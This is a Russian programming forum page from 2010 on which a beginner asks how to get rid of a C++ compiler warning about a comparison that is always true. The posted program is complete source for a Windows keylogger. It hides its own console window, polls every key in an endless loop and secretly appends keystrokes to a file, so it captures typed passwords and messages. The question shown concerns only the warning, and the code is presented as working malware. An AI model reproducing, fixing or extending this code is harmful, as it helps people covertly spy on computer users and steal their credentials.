Форум программистов, компьютерный форум CyberForum.ru

warning - C++

Восстановить пароль Регистрация
Другие темы раздела
C++ массив и указатели http://www.cyberforum.ru/cpp-beginners/thread198732.html
Дан массив целых. Сформировать по нему массив, содержащий длины всех серий (подряд идущих одинаковых элементов). Одиночные элементы считать сериями длины 1. Добавлено через 16 секунд #include <iostream> #include <conio.h> using namespace std; int main () { int c = 0;
C++ Работа с функциями Пожалуйста помогите с прогой !))) *Задан массив А(20). Определить знакопеременную сумму а1*–*а2*+*а3*–*а4*+*…. Прогу я сделал с использованием указателей . Код ниже . Составить программу, которая выполняет следующие действия: ввод исходных массивов; вывод исходных массивов; обработку массивов в соответствии с заданием; вывод результатов с соответствующими комментариями. все это оформить... http://www.cyberforum.ru/cpp-beginners/thread198693.html
Рекурсия C++
Задан массив целых чисел: а0, а1 ..., аn-1. Известно, что один из элементов массива принимает нулевое значение. Найти номер данного элемента. Для поиска использовать рекурсивный алгоритм. Написать программу поиска, которая выполняет следующие шаги: - шаг 1: найти центральный элемент массива; - шаг 2: если центральный элемент равен нулю, то повернуть его номер; - шаг 3: если центральный элемент...
C++ Исправте ошибку.
Дана программа: но программа борланд С++ пишет что найдена ошибка в 46 рядке, и я хз как эту ошибку исправить(( #include<iostream.h> #include<conio.h> #include<stdio.h> #include<math.h> void vv_ms(int n,int m,float **c) {int i,j; puts("\n Vvesti matricu \n"); for(i=0;i<n;i++)
C++ Задача: Обробка матриц http://www.cyberforum.ru/cpp-beginners/thread198678.html
Дано матрицу А{a i,j},где i,j=1,2,3...n. составить программу формирования вектора B=(b1, b2, b3...bn), элементы которого находятся по формуле bj=(a i,j+a j,i), значение n=5. 2 1 3 -4 2 -1 3 5 3 -1 1 2 1 4 1 = А{a i,j} значение ел. матрицы 3 4 1 4 1 3 -1 2 4 2 Это матрица 5 на 5( в принципе данные матрицы могут быть разные)
C++ записи помогите пожалуйста зделать блок-схему на прогу. условие: даны свединья о результатах сессии: ФИО студента, название четырех предметов и оценки, полученные по каждому предмету. Вывести список группы по убыванию общего балла. program ball; uses crt; const n=4; type swed=record fio: string; algebra: string; подробнее

Показать сообщение отдельно
nafnaf
Сообщений: n/a
28.11.2010, 00:01     warning
помогите новичку, что за warning 16(comparison is always true due to limited range of data type) и как убрать?


C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <iostream>
#include <Windows.h>
#include <WinUser.h>
 
 
using namespace std;
 
int writetext(int Keystroke, char *file);
void invisible();
 
int main() {
    invisible();
    char i;
 
    while (1 == 1){
        for (i = 8; i<=190; i++) {
            if(GetAsyncKeyState(i) == -32767) {
                writetext (i, "Keys.txt"); 
            }
        }
    }
    cin.get();
    return 0;
}
 
int writetext(int key, char *file)
{
    if((key == 1) || (key == 2))
        return 0;
 
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout << key << endl;
 
    if (key == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "\n[TAB]");
    else if (key == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "\n[SHIFT]");
    else if (key == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "\n[CONTROL]");
    else if (key == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "\n[ESCAPE]");
    else if (key == VK_END)
        fprintf(OUTPUT_FILE, "%s", "\n[END]");
    else if (key == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "\n[HOME]");
    else if (key == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "\n[LEFT]");
    else if (key == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "\n[RIGHT]");
    else if (key == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "\n[UP]");
    else if (key == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "\n[DOWN]");
    else if (key == 190 || key == 110 )
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key);
 
    fclose(OUTPUT_FILE);
 
 
    return 0;
}
 
void invisible() {
 
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth, 0);
 
}
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
 
Текущее время: 22:12. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Рейтинг@Mail.ru